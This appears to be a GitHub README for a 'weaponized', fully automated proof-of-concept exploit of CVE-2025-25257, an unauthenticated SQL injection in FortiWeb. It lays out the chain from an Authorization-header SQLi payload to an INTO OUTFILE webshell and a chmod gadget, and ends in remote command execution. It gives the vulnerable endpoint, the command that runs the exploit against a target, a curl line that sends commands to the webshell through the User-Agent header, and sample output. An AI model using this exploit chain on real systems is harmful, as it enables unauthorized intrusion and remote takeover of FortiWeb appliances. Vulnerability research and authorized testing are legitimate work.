
PoC for CVE-2025-25257, a critical unauthenticated SQL injection in FortiWeb. Exploits SQLi via the Authorization header to write a webshell and gain RCE. No login required. Fully automated.
Critical SQL Injection → Webshell Execution
Discovered and weaponized by 0xgh057r3c0n
CVE-2025-25257 affects FortiWeb systems exposing the endpoint /api/fabric/device/status, which fails to properly sanitize Authorization header input.
An attacker can perform unauthenticated SQL injection to write a webshell on the server and execute commands remotely.
SQL Injection ➜ SQL INTO OUTFILE ➜ Python chmod Gadget ➜ Trigger ➜ Webshell RCE
GET /api/fabric/device/status
Header: Authorization: Bearer ';<SQLi>
INTO OUTFILE to drop shellpython3 CVE-2025-25257.py -t https://target-host.com
Then:
curl -k -H "User-Agent: whoami" https://target-host.com/cgi-bin/x.cgi
requests moduleInstall:
pip install requests
[*] Writing Webshell Chunk: #!/bin/sh ...
[>] Exporting Webshell to File...
[*] Writing Chmod Gadget Chunk: import os ...
[>] Triggering chmod via Python Hook...
[*] Executing `id` via Webshell...
uid=33(www-data) gid=33(www-data)
[+] Webshell Ready:
> https://target-host.com/cgi-bin/x.cgi
> Send commands via User-Agent header
| Metric | Value |
|---|---|
| Base Score | 9.8 (CRITICAL) |
| Attack Vector | Network |
| Privileges Required | None |
| User Interaction | None |
| Impact | High (C/I/A) |
0xgh057r3c0n 🔗 github.com/0xgh057r3c0n
This proof-of-concept is for educational and authorized testing only. Use at your own risk. The author is not responsible for misuse.